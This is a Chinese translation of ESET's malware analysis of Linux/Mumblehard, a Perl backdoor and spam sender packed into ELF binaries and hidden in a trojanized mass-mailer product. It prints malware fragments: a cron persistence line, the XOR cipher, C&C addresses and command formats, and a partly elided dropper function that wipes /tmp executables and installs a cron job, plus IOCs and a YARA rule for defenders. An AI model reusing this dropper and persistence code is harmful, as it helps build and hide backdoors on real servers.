惡意軟體Linux/Mumblehard分析
From:http://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf
0x00 簡介
我們發現Linux/ Mumblehard
的原因來自於某天某網管聯絡我們,他的伺服器因為不斷髮送垃圾郵件被列入了黑名單。我們dump了伺服器上其中一個奇怪程式的記憶體,這玩意連線到了一個不同的SMTP伺服器,併傳送垃圾郵件。dump下來的記憶體顯示這玩意是一個,唔,perl直譯器,隨之我們在/tmp
目錄發現了一個相關的可執行檔案,並且立即開始著手分析,為了方便我們給這玩意起名Mumblehard
。
說實話我們對這玩意產生了極大的興趣,因為在惡意軟體中,perl指令碼被封裝在ELF可執行檔案中是很少見的,至少這玩意比起其他來說要更加複雜一些。另外一點是我們發現這款惡意軟體與一家叫Yellsoft
的軟體公司存在很大的聯絡,而第一個被發現的樣本在09年提交到VirusTotal。
Figure 1. Wayback Machine上顯示的Yellsoft主頁
我們對所發現已經確認遭到感染的系統進行了調查,確認了兩種可能的傳播方式,最常見的利用Joomla和Wordpress的exp進行傳播,另外一種是透過分散式的後門,Yellsoft
在他們主頁上銷售一種叫DirectMailer
的軟體,240美刀,其中裝有特殊的後門。
這篇paper描述了惡意軟體中的元件的分析,以及我們對受害者的統計調查,還有那家神秘的Yellsoft
。
0x01 惡意軟體分析
我們分析了兩種不同的惡意軟體元件,第一個是一個通用的後門,向C&C伺服器請求一個命令,該命令包含一個網址,然後透過這個網址下載惡意檔案並且執行,第二個是一種多功能的垃圾郵件傳送器的程式。這兩個元件都使用perl進行編寫,然後使用一個彙編寫的特殊加殼器進行混淆,最終隱藏到一個ELF格式的二進位制檔案中。
下面的圖顯示了惡意軟體和C&C伺服器之間的關係。
Figure 2. Linux/Mumblehard的互動
下面我們會先解析加殼器的細節,然後在描述後門和郵件傳送器的功能。
1.1 ELF二進位制中的perl殼
最初引起我們興趣的是惡意軟體的加殼器,簡單看看反彙編程式碼,我們可以很明顯的看出,加殼器是直接使用匯編進行編寫,整個加殼大約使用了200個彙編指令。這個觀察來源於兩個點,一個是他們直接使用int 80
指令進行系統中斷,另一個是它們並不適用常見的方式進行堆疊管理。
透過其系統呼叫的方式,可執行檔案可以避免任何的外部依賴,同時,加殼器被確認適用於linux和bsd系統。因為系統進行了系統呼叫13,並傳入了引數0,該系統呼叫對應到linux的時間,和BSD的標準輸入。在BSD上該呼叫失敗後會返回一個負數到eax上,而linux上會返回一個正數表示從1970年到今天過了幾秒。
Figure 3. system call 13
之後會fork()
一個perl直譯器("/usr/bin/perl", ...)
然後透過標準輸入將perl指令碼傳送給程式。並且使用系統呼叫pipe
和dup2
來處理檔案描述符。這一來父程式就可以將解密後的perl指令碼寫入直譯器。
1.2 perl後門
後門實際上只有一個簡單的任務,就是從C&C伺服器上請求一條命令,並且返回其是否成功。不過後門並不會使用daemonize
來進行程式守護,他直接使用crontab
來每15分鐘執行一次。
#!bash
$ crontab -l
*/15 * * * * /var/tmp/qCVwOWA >/dev/null 2>&1
並且還透過分配$0
來將自己偽裝成httpd。
#!bash
$0 = "httpd";
每次執行,後門都會向列表中的後門傳送一條查詢請求命令,就算某臺已經返回過有效的命令。
綜合來說該後門只支援一條命令:0x10
下載並執行。我們分析了手頭的樣本整理出了下面這樣的list,事實上,只有ip:194.54.81.163
返回過命令,其他應該都是掛掉了,比如,域名 behance.net
在2005年被adobe收購。
• 184.106.208.157 • 194.54.81.163 • advseedpromoan.com • 50.28.24.79 • 67.221.183.105 • seoratingonlyup.net • advertise.com • 195.242.70.4 • pratioupstudios.org • behance.net
1.2.1 C&C通訊
Mumblehard使用http的get對每臺C&C伺服器傳送請求,將返回的命令隱藏在http響應頭的Set-Cookie中,來逃避一些資料包的檢測。
一個請求的例子
#!bash
HTTP/1.0 200 OK
Date: Sat, 14 Feb 2015 23:01:57 GMT
Server: Apache/1.3.41 (Unix)
Set-Cookie: PHPSESSID=260518103c38332d35373729393e39253e3c3b207f66736577722861646b6c
697e217c647066603a7f66706363606f61; path=/
Content-Length: 18
Connection: close
Content-Type: text/html
under construction
PHPSESSID cookie值進行了hex進行編碼,並且透過自定義的演算法進行加密,該加密演算法與加殼器中用來加密perl指令碼的演算法是相同的.
Figure 4. 用匯編寫的加密演算法
perl版加密
#!perl
sub xorl {
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line)) {
if ($xor == $lim) {
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
一旦解密,下面的資訊回從cookie
中提取出來。
這裡有一個解密後的資訊的例子。
Mumblehard後門的user-agent
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
該user-agent被驗證與windows7上Firefox 7.0.1的user-agent相同。不過在下載完成後,惡意軟體會向伺服器傳送請求報告是否下載了檔案,該資訊隱藏在user-agent中,格式大概是下面這個樣子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<command_id>.<http_status>.<downloaded_file_size> Firefox/7.0.1
一個實際的例子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/24.200.56013 Firefox/7.0.1
1.3 perl惡意郵件傳送器
該惡意軟體傳送器也是perl寫的,並且加殼後嵌入elf可執行檔案,目的在於向C&C請求任務,並且傳送惡意郵件,Mumblehard支援大部分一個惡意郵件傳送器會有的功能,模板,報表,SMTP執行等,我們會將接下來的內容限制在其中的一些獨特的功能和網路協議等。
perl本身是相容多個作業系統的,所以我們認為該惡意軟體是針對多個型別的作業系統為目標,不過其中的EWOULDBLOCK和EINPROGRESS常量是不可移植的,儘管如此,該惡意軟體的常量還是可以相容Linux, FreeBSD and Windows。目前我們抓到的樣本是無法在windows上執行的,不過也可能表示針對windows平臺他們開發了不同型別的加殼器。
其中的perl
#!perl
if ( $^O eq "linux" ) { $ewblock = 11; $eiprogr = 115; }
if ( $^O eq "freebsd" ) { $ewblock = 35; $eiprogr = 36; }
if ( $^O eq "MSWin32" ) { $ewblock = 10035; $eiprogr = 10036; }
這玩意有兩種方式傳送惡意郵件,一種是請求C&C伺服器上的一個任務,第二種是開啟一個代理。
1.3.1 C&C通訊
C&C伺服器執行在埠25上,惡意郵件傳送器可以透過post請求傳送二進位制資料,內容如下表
不過這些資料似乎只在一種情況下會被使用,比如統計有多少伺服器在發郵件啥的。它存在4個32位的整數頭。
- 任務的表示符
- 成功的郵件數目
- 網路問題失敗的郵件數目
- 被SMTP伺服器拒絕的郵件數目
惡意主機還可以自定義傳送報告的詳細程度,其中有三個級別,最低的一級只有數字,中級包括電子郵件地址,最高一級包括成功或者失敗的原因。最初的請求,伺服器會返回一個200的響應,包含設定,電子郵件列表,和垃圾郵件模版。
1.3.2 代理功能的特點
我們分析的大多數的樣本中都包含一個通用的代理元件,工作原理很簡單,監聽tcp埠的連線,並且傳送通知,只有c&c伺服器的連線允許連線到該埠,但是內部有一個list,可以自定義新增允許的連線。不過其實只有兩條命令會被代理元件識別。
- 新增ip地址到允許列表
- 建立一個新的tcp隧道
下面是用作參考的協議內容
在建立連線時候實際上使用的是透過SOCKS4協議進行實現,這個功能允許駭客傳輸任意的流量到伺服器,不過蛋疼的是我們並沒有見該功能使用過,所以並無法斷定是用於什麼。
1.3.3 惡意郵件內容
我們跟蹤了大量的惡意郵件,發現主要是用於推廣一些藥物產品,並且還有產品官方的連結,這裡是其中一個例子。
該惡意郵件的連結販賣解決性功能障礙的藥物的網站。
具體網站為加拿大的spamtrackers.eu
,不過其訊息頭貌似是使用隨機的詞。
Million-Explosively-Arrogance: B77FE821EAB1
Copes-Horribly: 881976c526e6
Formants-Carmichael-Cutlet: consistency
Interoffice-Gastronome-Unmodified: d41f7ebe89a
目前還不知道將其新增到反垃圾郵件簽名是否有效果,不過我們認為是有的。
0x02 被感染主機的統計
其中惡意伺服器支援的C&C域名其中一部分已經失效,所以我們購買了其中的域名來監控受到感染的伺服器,我們使用了惡意軟體中用到的特殊的user-agent來進行監控。
下面是我們收集的2014年9月19日到2015年4月22日的資料,大概存在8,867個ip進行連線,其中大部分是用於網站託管的伺服器。
(此處省略部分關於統計的細節)
0x03 WHO IS YELLSOFT?
樣本中的C&C伺服器的ip範圍位於 194.54.81.162 到194.54.81.164
194.54.81.162:53 Hardcoded DNS server in Mumblehard’s spammer
194.54.81.163:54321 Report from Mumblehard’s proxy is open
194.54.81.163:25 C&C server for Mumblehard’s spammer
194.54.81.164:25 C&C server for Mumblehard’s spammer
如果你檢查下面的兩個ip,你會發現他們都是194.54.81.165和194.54.81.166的名稱伺服器,其中yellsoft.net web伺服器託管 在194.54.81.166,其中162到166的ip的ns和soa都是相同的,這可以表明,這5個ip都是託管在同一臺伺服器上。
#!bash
$ dig +short -x 194.54.81 SOA | uniq -c
1 ns1.rx-name.net. hostmaster.81.54.194.in-addr.arpa. 2015031209 28800 7200 604800 86400
$ for i in 2 3 4 5 6; do dig +short -x 194.54.81 SOA @194.54.81.16$i; done | uniq -c
5 ns1.yellsoft.net. support.yellsoft.net. 2013051501 600 300 604800 600
那麼Yellsoft是幹嘛的,他們銷售一種perl編寫的批次郵件傳送工具,叫DirectMailer。執行在UNIX系統上。
3.1 DirectMailer分析
其主頁上告訴訪客,他們不提供直接下載,下載地址被託管在narod.ru上,我們可以從上面得到副本。在2014年我們下載了一個叫 directmailer-retail.zip 的壓縮包,之後ESET講其識別為惡意軟體後,該軟體就不再被放置於softexp.narod.ru上。
zip包含一個dm.pl 檔案,不過其為elf可執行檔案,打包了各種perl指令碼。在主程式啟動之前,程式會呼叫一個bdrp的函式,該函式有一個uuencoded編碼的blob,解碼執行後會生成另一個ELF可執行檔案,包含一個加殼後的perl指令碼,它會被寫入檔案系統和cron 15分鐘執行一次。很熟悉是不?
bdrp函式
#!perl
sub bdrp {
my $bdrp = <<'BDRPDATA';
M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
...
M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
%%T491S$`
BDRPDATA
$bdrp = unpack( "u*", $bdrp );
foreach my $bdrpp ( "/var/tmp", "/tmp" ) {
# Delete all executable files in temporary directory
# (delete existing Mumblehard installation)
for (<$bdrpp/*>) { unlink $_ if ( -f $_ && ( -x $_ || -X $_ ) ); }
# Create random file name
my $bdrpn = [ "a" .. "z", "A" .. "Z" ];
$bdrpn = join( "",
@$bdrpn[ map { rand @$bdrpn } ( 1 .. ( 6 + int rand 5 ) ) ] );
my $bdrpb = "$bdrpp/$bdrpn";
my $bdrpc = $bdrpb . int rand 9;
# crontab job to add (runs every 15 minutes)
my $bdrpt = "*/15 * * * * $bdrpb >/dev/null 2>&1\n";
if ( open( B, ">", $bdrpb ) ) {
# Drop file and install job with crontab
[...]
}
}
}
0x04 結論
惡意軟體正在變的越來越複雜,另一個令人擔憂的是Mumblehard的運營這麼多年一直沒中斷過。
附錄A
UDP packets to
• 194.54.81.162 port 53
TCP connections to
• 194.54.81.163 port 80 (backdoor)
• 194.54.81.163 port 54321 (proxy)
• 194.54.81.163 port 25 (spammer)
• 194.54.81.164 port 25 (spammer)
HTTP requests with the following User-Agent pattern
• Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<1 or more digits>.<1 or
more digits>.<1 or more digits> Firefox/7.0.1
yara rule
rule mumblehard_packer
{
meta:
description = "Mumblehard i386 assembly code responsible for decrypting Perl
code"
author = "Marc-Etienne M.Léveillé"
date = "2015-04-07"
reference = "http://www.welivesecurity.com"
version = "1"
strings:
$decrypt = { 31 db [1-10] ba ?? 00 00 00 [0-6] (56 5f | 89 F7)
39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
00 31 db 43 ac 30 d8 aa 43 e2 e2 }
condition:
$decrypt
}
附錄b (參考原文)
相關文章
- linux ddos惡意軟體分析2020-08-19Linux
- Zero Access惡意軟體分析2020-08-19
- 【筆記】【THM】Malware Analysis(惡意軟體分析)2024-08-11筆記
- 動態惡意軟體分析工具介紹2020-11-08
- Cuckoo惡意軟體自動化分析平臺搭建2020-08-19
- 新型Windows惡意軟體正在針對Linux、macOS裝置2020-12-16WindowsLinuxMac
- 針對資訊竊取惡意軟體AZORult的分析2018-05-29
- 是防毒軟體”失職“還是惡意軟體太”狡猾“?惡意軟體可繞過Android防護系統2021-06-24防毒Android
- 惡意軟體PE檔案重建指南2020-08-19
- 後門惡意軟體通殺 Win、macOS、Linux 三大系統;Linux 惡意程式數量增長 35% | 思否週刊2022-01-28MacLinux
- 無法檢測到的Linux惡意軟體;惡意軟體團隊解散,10萬美元拍賣原始碼;美團疑取消支付寶支付2020-07-30Linux原始碼
- MMD-0043-2015 - 多型型ELF惡意軟體:Linux/Xor.DDOS2020-08-19多型Linux
- 惡意軟體開發-初級-Sektor 72024-07-03
- 常見惡意軟體型別及危害2022-10-21型別
- 惡意軟體Emotet 的新攻擊方法2022-03-01
- TrickBot和Emotet再奪惡意軟體之冠2020-11-21
- 惡意軟體開發——記憶體相關API2021-08-28記憶體API
- 針對Linux和Windows使用者的新型多平臺惡意軟體2019-11-19LinuxWindows
- 使用UnhookMe分析惡意軟體中未受監控的系統呼叫問題2021-09-26Hook
- 隱藏在xml檔案中的惡意軟體2022-10-09XML
- 從SharPersist思考惡意軟體持久化檢測2019-10-21持久化
- 最新 Mac 惡意軟體 OSX/CrescentCore 被發現2019-07-02Mac
- Trickbot惡意軟體又又又升級了!2021-02-03
- ANDROID勒索軟體黑產研究 ——惡意軟體一鍵生成器2018-03-24Android
- 研究人員新發現一種極為隱蔽的Linux惡意軟體2022-06-13Linux
- 有米iOS惡意SDK分析2020-08-19iOS
- 2022年5大網路威脅惡意軟體2022-10-11
- WAV音訊檔案中隱藏惡意軟體2019-10-17音訊
- 惡意軟體Siloscape可在Kubernetes叢集中植入後門2021-06-22
- 在 Linux 上安裝和使用惡意軟體檢測工具 LMD 及防毒引擎 ClamAV2018-10-22Linux防毒
- Facebook季度安全報告:假冒ChatGPT的惡意軟體激增2023-05-04ChatGPT
- 阻止惡意軟體和網路攻擊的基本方式2023-04-23
- 歐洲刑警組織拆除FluBot安卓惡意軟體2022-06-02安卓
- OS X那些事---惡意軟體是如何啟動的?2020-08-19
- Windows使用者注意!“紫狐”惡意軟體來襲2021-03-24Windows
- Qealler - 一個用Java編寫的惡意病毒軟體2019-02-08Java
- Flappy Bird 惡意程式詳細分析2020-08-19APP
- 惡意程式-分析SYNful Knock 思科植入2020-08-19